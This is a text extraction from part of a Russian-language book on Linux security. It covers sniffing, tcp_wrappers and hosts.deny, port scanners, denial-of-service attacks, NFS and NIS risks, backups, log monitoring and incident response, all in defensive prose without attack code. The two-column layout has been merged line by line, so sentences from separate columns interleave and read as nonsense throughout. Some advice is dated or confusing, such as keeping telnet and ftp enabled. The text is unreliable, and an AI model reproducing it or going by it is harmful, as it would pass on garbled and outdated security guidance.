root# head c 6 /dev/urandom | uuencode  Очень уязвимы к этому виду атаки не
Эта команда выдаст 6 случайных символов зашифрованные пароли, которые передаются
на консоль — удобно для генерации пароля. простым текстом.
Пример: На компьютере А была взломана
система безопасности. Взломщик инсталлировал
Глава 37: Безопасность сети ищейку. Ищейка записал процесс регистрации
Безопасность сети становиться все более и администратора с компьютера В на компьютер Б.
более важной, поскольку люди все больше и Таким образом, он получил персональный пароль
больше времени проводят в сети. Прорвать системного администратора для регистрации на Б.
безопасность сети часто проще, нежели Затем, для решения своих задач администратор
физическую или локальную безопасность, и это набирает su. Таким образом, взломщик получает
является намного более обыкновенным событием. администраторский пароль компьютера Б. Позже
администратор разрешает комуто запустить telnet
Существует большое количество хороших
из его счета на компьютер Г в другой сети. Теперь
инструментов для поддержки безопасности сети, и
взломщик знает пароль/счет на компьютере Г.

333 334
Защищаем и атакуем Linux Защищаем и атакуем Linux

В наше время для выполнения подобных Вы также можете удалить (или


операций взломщику даже не нужно взламывать закомментрировать) соответствующие сервисы в
какуюлибо систему, он может просто принести файле /etc/services. Это означает, что локальный
ноутбук или ПК в здание и присоединиться к клиент также не сможет использовать эти сервисы
вашей сети. (например, если вы удалите ftp, а затем попробуете
Использование ssh или других методов сделать ftp связь с этой машины на удаленный
шифрования паролей срывает подобные атаки. компьютер, вы получите ошибку типа
Для POP счетов мешают проведению таких атак «неизвестный сервис»). Обычно не стоит удалять
пакеты подобные APOP. (Обычная pop сервисы, если это не приносит дополнительного
регистрация беззащитна от подобных атак, повышения уровня безопасности. Если локальный
поскольку, как и все остальное, пароли по сети пользователь хочет использовать ftp в том случае,
передаются открытым текстом.) когда вы его уже закомментировали, он может
создать своего собственного клиента, который
будет использовать общий ftp порт и отлично
Глава 39: Системные сервисы и работать.
tcp_wrappers Вот некоторые из сервисов, которые вам
нужно оставить включенными:
Как только вы подключаете вашу Linux
систему к любой сети, вам сразу же нужно ● ftp
решить, какие сервисы предоставлять. Сервисы, ● telnet
которые вы не будете предоставлять, должны быть ● mail, такие как pop3 или imap
выключены, чтобы у вас было меньше вещей, о
которых вам нужно беспокоиться, и взломщику ● identd
будет меньше мест для выискивания дыр. ● time
Существует много способов выключить Если вы знаете, что вы не собираетесь
сервисы в Linux. Вы можете посмотреть в файле использовать какието пакеты, лучше их
/etc/inetd.conf, какие сервисы у вас полностью удалить. В дистрибутиве RedHat
предоставляются через inetd. Чтобы выключить полностью удаляет пакет команда rpm e. В Debian
все, что вам не нужно, просто закомментируйте подобные вещи делает dpkg.
соответствующие строчки, а затем пошлите Дополнительно вам действительно лучше в
вашему inetd SIGHUP. файле /etc/inetd.conf выключить rsh/rlogin/rcp,
включая login (используется rlogin), shell

335 336
Защищаем и атакуем Linux Защищаем и атакуем Linux

(используется rcp) и exec (используется rsh). Эти Если вы являетесь домашним пользователем
протоколы чрезвычайно небезопасны и часто были с коммутируемым доступом, то мы рекомендуем
в прошлом причиной взломов. вам запретить доступ всем (deny ALL). tcpd также
Вы должны также проверить ваши протоколирует все неудачные попытки доступа к
/etc/rc.d/rcN.d, где N стартовые уровни вашей сервисам, так что это позволят отследить
системы, на предмет наличия сервисов в этих возможные атаки. Если вы добавляете новые
каталогах, которые вам не нужны. Файлы в сервисы, вы обязательно должны
/etc/rc.d/rcN.d фактически являются символьными сконфигурировать их, чтобы использовать,
ссылками на файлы в каталоге /etc/rc.d/init.d. основываясь на tcp_wrappers. Например,
Переименование файлов в каталоге init.d обыкновенный dialup пользователь может
выключит все символьные ссылки в запретить доступ к своему компьютеру извне, и в
/etc/rc.d/rcN.d. Если вы хотите выключить сервис то же время иметь возможность забирать почту и
только в определенном стартовом уровне, то путешествовать в Internet.
переименуйте соответствующий файл, чтобы он Чтобы это сделать, вам нужно добавить к
начинался с маленькой буквы s, а не с большой файлу /etc/hosts.allow:
как надо (скажем, S45dhcpd). ALL: 127.
Если у вас rc файлы в стиле BSD, вам И конечно же /etc/hosts.deny должен
нужно проверить /etc/rc* для обнаружения содержать:
ненужных программ.
ALL: ALL
Большинство дистрибутивов Linux что запретит внешние соединения к вашей
поставляется с tcp_wrapper, которые машине, позволяя тем не менее вам изнутри
«заворачивают» все ваши tcp сервисы. tcp_wrapper соединяться с серверами в Internet.
(tcpd) вызывается из inetd, а не является
отдельным сервером. tcpd затем проверяет
компьютер, который запрашивает сервис, и либо Глава 40: Проверьте вашу DNS
запускает реальный сервер, либо запрещает доступ информацию
от этого компьютера. tcpd позволяет вам
ограничить доступ к вашим tcp сервисам. Вы Поддержка постоянно свежей DNS
можете создать /etc/hosts.allow и добавить в него информации о всех компьютерах в вашей сети
только те машины, которым нужно иметь доступ к может помочь повысить безопасность. В том
сервисам на вашем компьютере. случае, когда несанкционированный компьютер
подключится к вашей сети, вы можете опознать

337 338
Защищаем и атакуем Linux Защищаем и атакуем Linux

его по неудачному запросу к DNS. Большинство был в то время, и вообще потратить много
сервисов можно сконфигурировать таким образом, времени, чтобы вычислить пользователя.
чтобы они не принимали запросы на соединение identd, который поставляется с
от компьютеров без правильной DNS большинством дистрибутивов, намного более
информации. настраиваем, нежели многие думают. Вы можете
закрыть identd для определенных пользователей
identd
(можно создать файл .noident), вы можете
identd маленькая программка, которой протоколировать все запросы к identd, вы можете
обычно оканчивается ваш inetd. Она записывает даже заставить identd возвращать uid вместо имени
информацию о том, какой пользователь запускает пользователя, или даже
какой tcp сервис, а затем выдает отчет тому, кто NOUSER.
запрашивает.
Многие люди не понимают полезность
identd, поэтому выключают ее, либо блокируют все
Глава 41: SATAN, ISS и другие
внешние запросы к ней. identd не та вещь, которая сетевые сканеры
поможет удаленным компьютерам. Не существует
Существует много различных программных
способа узнать, корректна ли информация,
пакетов, которые выполняют сканирование портов
которую вы получили от удаленного identd. В
или сервисов в компьютерах или сетях. SATAN и
identd запросах нет идентификации.
ISS являются двумя наиболее известными из них.
Тогда зачем же нужно вам ее запускать? Эти программы соединяются с целевым
Потому что она помогает вам, являясь еще одним компьютером (или всеми целевыми машинами в
инструментом отслеживания ситуации. Если ваш сети) по всем доступным портам и пытаются
identd не взломан, тогда вы знаете, что он выдает определить, какие там запущены сервисы.
удаленным компьютерам имена пользователей или Основываясь на этой информации, вы можете
uid пользователей, используя tcp сервисы. Если обнаружить уязвимые к определенным методам
администратор удаленной системы придет к вам и атаки машины.
скажет, что такойто пользователь такто пытался
SATAN (Инструмент администратора
проникнуть в его систему, вы легко можете
безопасности для анализа сетей) является
предпринять действия против такого пользователя.
сканером портов с web интерфейсом. Он может
Если вы не включили identd, вам нужно
быть полезен для выполнения легкой, средней или
просмотреть много протоколов, чтобы узнать, кто
тщательной проверки машины или сети машин.

339 340
Защищаем и атакуем Linux Защищаем и атакуем Linux

Неплохо иметь SATAN и сканировать вашу Если вы используете sendmail, очень важно
систему или сеть, и сразу же устранять иметь самую последнюю версию. Sendmail имеет
обнаруженные им проблемы. Убедитесь, что ваша очень длинную историю развития безопасности.
копия SATAN из sunsite или известного FTP или Всегда используйте только последнюю версию.
Web сервера. Были троянские копии SATAN, Если вы устали модернизировать ваш send
которые распространялись по Сети. mail каждую неделю, вы можете решить перейти
ISS (Сканер безопасности Internet) является на qmail. qmail изначально разрабатывали,
также сканером портов. Он быстрее чем SATAN, и подразумевая безопасность. Он быстрый,
таким образом может быть лучше для больших стабильный и безопасный.
сетей. Однако SATAN предоставляет больше
информации.
Глава 44: «Отказ в предоставлении
сервиса»
Глава 42: Как обнаружить сканеры
портов Атака «Отказ в предоставлении сервиса»
состоит в том, что взломщик пытается
Существуют некоторые инструменты, искусственно загрузить некоторые сервисы
которые призваны предупредить вас о работающих настолько, чтобы они не могли отвечать на
SATAN, ISS и других сканирующих программах. законные запросы или запрещали доступ к вашей
Однако используя tcp_wrapper, регулярно проверяя машине законным пользователям.
ваши протоколы, вы и сами заметите такие В последние годы количество атак данного
попытки. Даже при наименьших установках, типа очень сильно возросло. Имейте ввиду, что
SATAN оставляет следы присутствия в журналах все время обнаруживаются новые, так что мы
системы, оборудованной RedHat. приведем только примеры.
● SYN Flooding является сетевой атакой «отказ в
Глава 43: Sendmail, qmail и MTA предоставлении доступа». Он использует
преимущества «лазейки» (loophole) в методе
Одним из наиболее важных сервисов, создания TCP соединения. Последние версии
которые вы можете предоставлять, является сервер ядер Linux (2.0.30 и выше) имеют несколько
электронной почты. К сожалению он также конфигурационных настроек для
наиболее уязвим к атакам, просто изза огромного предотвращения SYN Flooding атак.
числа задач, которые он должен выполнять, и
привилегий, которые ему обычно нужны.
341 342
Защищаем и атакуем Linux Защищаем и атакуем Linux

● Ошибка "F00F" в процессорах Pentium. Было вашему провайдеру. Ping flood легко можно
обнаружено, что данная серия ассемблерного остановить на уровне маршрутизатора или
кода, посланная настоящему процессору Intel используя щит (firewall).
Pentium, перегружает машину. Это действует ● Ping o' Death. Атака Ping o' Death возникла в
на все компьютеры с процессорами Pentium результате того, что поступающие пакеты
(не клонами, не Pentium Pro или PII), не ICMP ECHO REQUEST могут быть
зависимо от операционной системы на этом больше нежели может вместить структура
компьютере. Ядра Linux выше 2.0.32 содержат данных ядра, которая сохраняет эту
код, отслеживающий эту ошибку и не информацию. Изза приема единичного
позволяющий перегружать вашу машину. большого (65,510 байт) ping пакета многие
Ядро 2.0.33 имеет улучшенный вариант системы зависали или даже ломались,
решения этой ошибки, поэтому более поэтому эта проблема быстро обрела
рекомендуем нежели 2.0.32. Если у вас название Ping o' Death. Вообщето эта ошибка
Pentium, лучше вам модернизироваться прямо давно уже исправлена, так что не о чём
сейчас. беспокоиться.
● Ping Flooding является простой грубой ● Teardrop / New Tear. Это одна из недавних
реализацией атаки «отказ в предоставлении еще атак основана на ошибке,
сервиса». Взломщик посылает «поток» ICM присутствующей в коде фрагментации IP в
пакетов вашему компьютеру. Если это Linux и Windwos платформах. Она исправлена
происходит с машины с большей полосой в ядре 2.0.33 и не требует включения
пропускания нежели имеет ваш компьютер, какойлибо дополнительной опции во
то ваша машина будет лишена возможности время компиляции ядра. Так что Linux
посылать чтолибо в сеть. При вариации этой очевидно больше не подвержен атаке newtear.
атаки, называемой smurfing, посылается на
определенный сервер поток ICMP пакетов с
обратным IP адресом вашей машины, таким Глава 45: Безопасность NFS
образом атакующих тяжелее обнаружить. (сетевой файловой системы)
Если вы подверглись атаке типа ping flood, то
для обнаружения машины, с которой пришли NFS является очень широко используемым
пакеты (или откуда они появляются), протоколом совместного использования файлов.
используйте инструмент типа tcpdump, и Он позволяет серверам, запуская nfsd и mountd,
затем обратитесь с этой информацией к «экспортировать» целые файловые системы для

343 344
Защищаем и атакуем Linux Защищаем и атакуем Linux

других машин со встроенной в ядро поддержкой Никогда не экспортируйте полностью ваш


nfs (или поддержки некоторых других клиентов, root каталог, экспортируйте только те каталоги,
если это не Linux машины). Mountd ведет журнал которые необходимо.
примонтированых файловых систем в /etc/mtab и
может выдать их по команде showmount.
Глава 46: NIS (сетевой
Многие сервера используют NFS для
предоставления пользователям домашних
информационный сервис)
каталогов, так что не имеет значения, на какой из Сетевой информационный сервис (бывший
машин в кластере пользователи регистрируются, YP — «Желтые страницы») заключается в
они сразу получают все свои файлы. распространении информации группе машин. NIS
Существуют довольно небольшие мастер (сервер) хранит информационные таблицы
возможности реализации безопасности в и конвертирует их файлы карт NIS. Затем эти
экспортируемых файловых системах. Вы можете с карты передаются по сети, позволяя NIS клиентам
помощью nfsd приравнять администратора (компьютерам) получать имя счета, пароль,
удаленной системы к пользователю nobody (т.е. с домашний каталог и информацию shell
минимальными правами) на вашей системе, (фактически всю информацию стандартного файла
запрещая ему, тем самым, полный доступ к /etc/passwd). Это позволяет пользователю изменить
экспортируемым файлам. Однако, поскольку пароль за один раз на всех машинах в NIS домене,
конкретные пользователи имеют полный доступ к где он имеет счет.
их собственным файлам (или по крайней мере с NIS совсем небезопасен. Он никогда и не
одинаковым uid), то удаленный администратор предполагался быть таким. Он предполагался быть
может зарегистрироваться или сделать su к их удобным и полезным. Любой, кто может угадать
счетам, и, таким образом, получить доступ к их имя вашего NIS домена (гделибо в сети) может
файлам. Это только небольшое препятствие для получить копию вашего файла passwd, а затем
взломщика, чтобы получить доступ для использовать «crack» и «john the ripper» для
монтирования вашей удаленной файловой взламывания паролей ваших пользователей. Также
системы. можно обманывать NIS и проводить другие
Если вы вынуждены использовать NFS, то подобные трюки. Если вы вынуждены
прежде всего убедитесь, что вы экспортируете использовать NIS, помните об опасностях,
только тем машинам, которым это действительно связанных с ним.
нужно.

345 346
Защищаем и атакуем Linux Защищаем и атакуем Linux

Глава 47: Firewall Глава 48: Подготовка системы


Под Firewall подразумевается ограничение безопасности до ее соединения с
на прохождение информации как внутрь, так и за Internet
пределы вашей локальной сети. Обычно
компьютер, выполняющий роль щита, соединен с Итак, вы всесторонне проверили вашу
Internet и вашей локальной сетью, и доступ к систему и сделали ее настолько безопасной,
Internet из вашей локальной сети выполняется насколько это было возможно (исходя из ваших
только через него. Таким образом, щит может знаний, а значит готовы к соединению с Internet.
контролировать, что приходит из Internet в Существует несколько вещей, которые вы теперь
локальную сеть, и что уходит из локальной сети в должны сделать, чтобы быть подготовленным на
Internet. случай взлома, и, следовательно, быстро
обезвредить взломщика, восстановиться и работать
Существует большое количество типов и дальше.
методов организации щита. Linux система
реализует довольно хороший щит низкой
стоимости. Код, реализующий щит, может быть Глава 49: Сделайте резервную
встроен прямо в ядро, начиная с версии 2.0 и копию всей вашей системы
выше. Инструмент ipfwadm позволяет вам
определять, какой части сетевого траффика можно Если у вас меньше чем 650Мb данных в
уходить в Internet или приходить из него. Вы одном разделе, то для резервирования можно
можете также протоколировать определенные порекомендовать CDR (поскольку его очень
типы сетевого траффика. трудно подделать, и данные долго сохраняются).
Щит является очень полезным и важным На лентах и других перезаписываемых носителях
инструментом в обеспечении безопасности вашей сразу после создания резервных копий необходимо
сети. Важно понять, что вы не должны забывать о поставить защиту от записи и затем периодически
безопасности только изза того, что у вас есть проверять, чтобы предотвратить подделки (или
щит, и не заботиться о безопасности машин за подмену). Сохраняйте ваши резервные копии в
щитом. Это будет фатальной ошибкой. надежных недоступных местах. Хорошие
резервные копии обеспечат вам возможность
восстановления вашей системы в любой ситуации.

347 348
Защищаем и атакуем Linux Защищаем и атакуем Linux

Глава 50: Выбор режима для верификации каждого файла в системе.


Прочтите man страницу по RPM, поскольку есть
резервирования другие опции, которые можно включить, чтобы
Простым для поддержания считается сделать rpm менее многословным.
шестиступенчатый цикл. Он включает 4 текущие Это значит, что каждый раз, как вы
ленты на неделю, одна для четных пятниц, одна добавляете новый RPM в систему, вам нужно
для нечетных пятниц. Делайте нарастающее обновить резервную копию. Вы ощутите все
резервирование каждый день и полное достоинства перед недостатками.
резервирование системы в пятницу на
соответствующую ленту. Если вы сделали какие
либо особенные важные изменения в системе или Глава 52: Отслеживайте данные
добавили важные данные, то уместно будет сразу регистрации использования системы
сделать резервную копию.
Очень важно, чтобы не подверглась взлому
информация, которая поступает от syslog. Начать
Глава 51: Создайте резервную надо с того, что разрешить чтение и запись в
копию вашей RPM базы /var/log только ограниченному контингенту
пользователей.
В случае вторжения вы можете использовать Обязательно следите за тем, что туда
базу RPM как спасательную нить, но только в том заносится, особенно посредством auth. Большое
случае, если вы уверены в ее целостности. количество неудачных регистраций, например,
Желательно скопировать базу RPM на дискету и может указывать на попытку вторжения.
держать ее гделибо в недоступном месте. В
дистрибутиве Debian вероятно имеется чтото Где искать ваши log файлы, будет зависеть
подобное. от вашего дистрибутива. В Linux системах,
которые поддерживают «Linux Filesystem Standard»,
Скорее всего файлы /var/lib/rpm/fileindex.rpm таких как RedHat, смотрите в /var/log для
и /var/lib/rpm/packages.rpm не поместятся на проверки messages, mail.log и других протоколов.
отдельную дискету, а в сжатом виде каждый
поместится на отдельную дискету. Чтобы узнать, где ваш дистрибутив ведет
системные журналы, вам нужно посмотреть в файл
Теперь, если ваша система будет взломана, /etc/syslog.conf. Это файл, который указывает sys
вы можете использовать команду: logd (системному протоколирующему демону),
root# rpm Va куда записывать различные сообщения.

349 350
Защищаем и атакуем Linux Защищаем и атакуем Linux

Вы можете также захотеть настроить ваш Если возможно, настройте syslog так, чтобы
logrotating скрипт или демон для того, чтобы от отсылал копию наиболее важных данных на
ваши журнальные записи дольше безопасную систему. Это предотвратит попытки
просуществовали, т.е. чтобы вы имели время их взломщика скрыть свою деятельность путем
более детально изучить. Рекомендуем вам обратить удаления информации о его login/su/ftp. Изучите
внимание на пакет logrotate, поставляемый в man страницу по syslog.conf, особенно в части @
дистрибутиве RedHat. Другие дистрибутивы опции.
вероятно имеют подобные вещи. И наконец, журнальные файлы намного
Если вы заметили, что в журнальных файлах менее полезны, если их никто не читает. Выделите
ктото возился, посмотрите сначала, можете ли вы постоянное время для просмотра журнальных
определить, когда это началось и каких вещей файлов, тогда вы наверняка обретете чувство
касалось. Большой ли период времени таким ситуации — нормально все или нет. Это может
образом содержит ненадежную информацию? сильно помочь не допустить непредвиденной
Лучше всего в такой ситуации восстановить ситуации.
журналы с резервных копий (если у вас конечно
такие есть).
Глава 53: Делайте модернизацию
Журнальные файлы обычно изменяют
взломщики для того, чтобы скрыть свои действия,
системы
но их присутствие все же можно заметить по Большинство пользователей Linux
странным событиям в системе. Вы можете инсталлируются с CDROM. Изза быстрой
отследить попытки взломщика войти в систему природы появления исправлений в безопасности,
или изменить какуюлибо программу для постоянно появляются новые (исправленные)
получения счета администратора. Вы можете программы. До того, как вы откроете свою
просмотреть журнальные файлы до того, как систему в сети, сходите на ftp сервер вашего
взломщик изменит их. дистрибутива (например, ftp.redhat.com) и возьмите
Вам необходимо отделить auth данные от все пакеты, которые были обновлены с момента
других запротоколированных событий, включая получения вами CDROM. В большинстве случаев,
попытки изменения счетов с помощью su, новые пакеты будут содержать важные
попытки регистрации и другую информацию, исправления в области безопасности, так что
касающуюся счетов пользователей. неплохо их будет инсталлировать.

351 352
Защищаем и атакуем Linux Защищаем и атакуем Linux

Глава 54: Хакеры! Взломали! или посетите его офис/дом и поговорите с ним.
Если он признает, что это был он, потребуйте с
Что делать? него объяснений, что он делал в вашей системе, и
Итак, вы обнаружили вторжение. Перво убедите его не делать больше этого. Если это был
наперво нужно оставаться спокойным. Поспешные не он и не может понять о чем идет речь, то
действия могут принести больше вреда, нежели скорее всего этот инцидент требует дальнейшего
сам взломщик. расследования. Тщательно исследуйте инцидент и,
прежде чем выдвигать обвинения, соберите
Нарушение безопасности в побольше доказательств.
процессе Если вы обнаружили вторжение в сеть,
Обнаружение процесса нарушения первонаперво (если вы можете) отсоедините вашу
безопасности может быть напряженным сеть. Если вторжение произошло через модем,
предприятием. Поскольку ваши ответные действия отсоедините модемный кабель, тогда взломщик
могут иметь большие последствия. вероятнее всего подумает о проблемах связи, а не
Если нарушение, которое вы обнаружили, об обнаружении.
имеет физическую природу, есть шансы, что вы Если вы не можете отсоединить сеть (идет
обнаружите того, кто вломился в ваш дом, офис интенсивная работа, или вы не имеете
или лабораторию. Вы должны предупредить своих физического контроля над системой), то
представителей власти. В лаборатории вы можете наилучшим будет использовать чтото наподобие
обнаружить коголибо, пытающегося открыть tcp_wrapper или ipfwadm для запрещения доступа
дипломат или перезапустить машину. В из системы взломщика.
зависимости от ваших полномочий и инструкций, Если вы не можете запретить доступ всем из
вы можете сами приказать ему остановиться или сети взломщика, то нужно заблокировать счета
сообщить службе безопасности. пользователей.
Если вы обнаружили локального Помните, что блокирование счетов — дело
пользователя, пытающегося нарушить систему не легкое. Вы должны помнить о файлах .rhosts,
безопасности, первонаперво сообщите ему все, ftp доступе и черных входах.
что вы о нем думаете. Проверьте систему, с
которой он зарегистрировался. Та ли это система, После того, как вы сделаете чтолибо из
с которой он обычно регистрируется? Нет? Тогда вышеперечисленного (отсоедините сеть, запретите
используйте уже не электронные средства доступ из сети взломщика и/или заблокируете их
общения. Например, позвоните ему по телефону

353 354
Защищаем и атакуем Linux Защищаем и атакуем Linux

счета), вы должны убить все его пользовательские Если вы не локализовали и не


процессы. заблокировали взломщика, вероятнее всего он
Некоторое время после этого вы должны вернется. Не обязательно на ваш компьютер,
очень внимательно отслеживать состояние вашей может на какойто другой, но в вашей сети. Если
системы, поскольку взломщик может попробовать взломщик использовал пакетные ищейки, большие
повторить вторжение. Вероятнее всего используя шансы, что он имел доступ и к другим локальным
другой счет и/или с другого сетевого адреса. машинам.

Нарушение безопасности уже Оценка повреждений


произошло Первонаперво нужно оценить
повреждения. Что было нарушено? Если вы
Итак, вы либо обнаружили нарушение
используете тестер целостности, такой как
безопасности, которое уже произошло, либо
Tripwire — запустите его и он вам все расскажет.
обнаружили его и заблокировали деятельность
Если нет, просмотрите все — особенно важные
взломщика в вашей системе (короче, выдворили
данные.
его). Что же теперь?
Так как системы Linux становится все легче
Закрыть дыру и легче инсталлировать, вы можете скопировать
Если вы можете определить, что кудато ваши конфигурационные файлы, а затем
использовал взломщик для внедрения в вашу полностью очистить диск и переинсталлировать
систему, вы должны попытаться закрыть эту дыру. систему, восстановить файлы пользователей с
Например, возможно вы увидите несколько ftp резервных копий и скопировать назад
входов, прежде чем пользователь конфигурационные файлы. Это будет
зарегистрировался. Выключите FTP сервис и гарантировать полностью чистую систему. Если
проверьте, существует ли его обновленная версия вам нужно сделать резервную копию взломанной
или какойлибо список заплаток известных системы, будьте особенно внимательны к
ошибок. выполняемым файлам, которые вы резервируете,
поскольку они могут быть «троянами»,
Проверьте все ваши журнальные файлы, а
оставленными взломщиком.
затем посетите ваши списки безопасности и
webузлы на предмет наличия какихлибо новых
обнаруженных ошибок, которые вы можете
исправить.

355 356
Защищаем и атакуем Linux Защищаем и атакуем Linux

Резервируйте, резервируйте и еще администратора с помощью whois или базы


резервируйте! internic. Вы можете послать ему по электронной
Лучшим решением в плане безопасности почте содержимое системных журналов с датой и
является регулярное резервирование. Если ваша временем событий. Если вы заметили еще
система подверглась вторжению, вы всегда чтолибо отличающее вашего взломщика, вы
сможете восстановиться с резервных копий. можете также сообщить об этом. После посылки
Конечно, некоторые данные могут быть ценны и сообщения по email, вы должны (если вы к этому
для взломщика, и он может не только удалять их, склонны) связаться по телефону. Если
но и воровать, делая себе копии, но в конце обнаружится, что система того администратора
концов вы по крайнем мере сохраните эти данные. была только проходным звеном, он может
отследить и связаться с администратором системы,
Прежде чем восстановить поврежденный с которой взломщик проник к нему, и т.д.
файл, вы должны проверить несколько прошлых
резервных копий, а не только последнюю. Может Опытные взломщики часто используют
быть, что взломщик орудовал некоторое время большое количество посреднических систем.
назад, и вы успешно сделали несколько резервных Некоторые (или многие) из которых, могут даже и
копий уже поврежденных файлов!!! не знать, что они были взломаны. Отследить
обратно путь взломщика аж до его домашней
Конечно, существует также понятие системы может быть очень трудно. Будьте очень
безопасности резервных копий. Убедитесь, что вы вежливы с администраторами других систем при
храните их в надежном месте и знаете, кто имеет выслеживании и они вам много в чем помогут.
туда доступ. (Если взломщик получит ваши
резервные копии, он будет иметь все ваши
данные, а вы даже знать об этом не будете.) Глава 55: Источники информации по
безопасности
Выслеживание хакера
Хорошо, вы заблокировали взломщика, Существует очень много узлов в Internet,
восстановили вашу систему, но это еще не все. посвященных UNIX безопасности в общем и
Поскольку маловероятно, что все взломщики специфике Linux безопасности. Очень важно
будут пойманы, вы должны сообщить об атаке. подписаться на один (или более) список рассылки
Вы должны сообщить об атаке по вопросам безопасности и отслеживать текущие
администратору системы, с которой была исправления. Большинство из таких списков
атакована ваша система. Вы можете найти этого небольшие по объему, но очень информативны.

357 358
Защищаем и атакуем Linux Защищаем и атакуем Linux

FTP узлы интересных обзоров по безопасности, а также


CERT это Computer Emergency Response программный инструментарий.
Team. Они часто рассылают предупреждения о Linux security WWW хороший узел по
последних атаках и исправлениях. безопасности в Linux.
Replay имеет архивы очень многих программ Reptile имеет на своем узле очень много
безопасности. Поскольку они находятся за хорошей информации по безопасности в Linux.
пределами США, им не нужно подчиняться
Infilsec рассказывает об уязвимых местах
ограничениям по распространению
различных платформ.
криптографических программ.
CIAC периодически рассылает бюллетени по
Matt Blaze является автором CFS и
обнаруженным дырам.
отличным советником в вопросах безопасности.
tue.nl отличный ftp узел по безопасности в Списки рассылки
Голландии. Bugtraq. Чтобы подписаться на bugtraq,
пошлите еmail на listserv@netspace.org содержащий
Web узлы в теле subscribe bugtraq.
Hacker FAQ это FAQ про хакеров.
CIAC. Пошлите email к
COAST архив содержит большое количество majordomo@tholia.llnl.gov, а в теле письма (не в sub
информации и программного обеспечения по ject) напишите: subscribe ciacbulletin
безопасности.
Rootshell.com отличный узел для изучения
современных методов взлома, которые сейчас
используют взломщики.
BUGTRAQ приводит советы в области
безопасности.
CERT, the Computer Emergency Response
Team, приводит советы по общим атакам на UNIX
платформах.
Dan Farmer — автор SATAN и многих других
инструментов, касающихся безопасности, его
домашний web узел содержит несколько

359 360
Защищаем и атакуем Linux Защищаем и атакуем Linux

Глава 56: Часто задаваемые Почему всегда запрещена


вопросы по обеспечению регистрация администратором с
удаленной машины?
безопасности системы
Это сделано намеренно, чтобы
предотвратить попытки пользователей
Не будет ли более безопасно зарегистрироваться на вашей машине через telnet
вкомпилировать поддержку как администратор, что очень уязвимо. Не
драйверов непосредственно в ядро, забывайте, потенциальный взломщик имеет время
нежели представлять их модулями? запустить автоматическую программу для
Некоторые полагают, что лучше не получения вашего пароля.
использовать возможность загрузки драйверов
устройств в виде модулей, поскольку взломщик Как включить теневые пароли в Red$
(или они сами) может загрузить троянский Hat 4.2 или 5.0 Linux?
модуль, который повредит си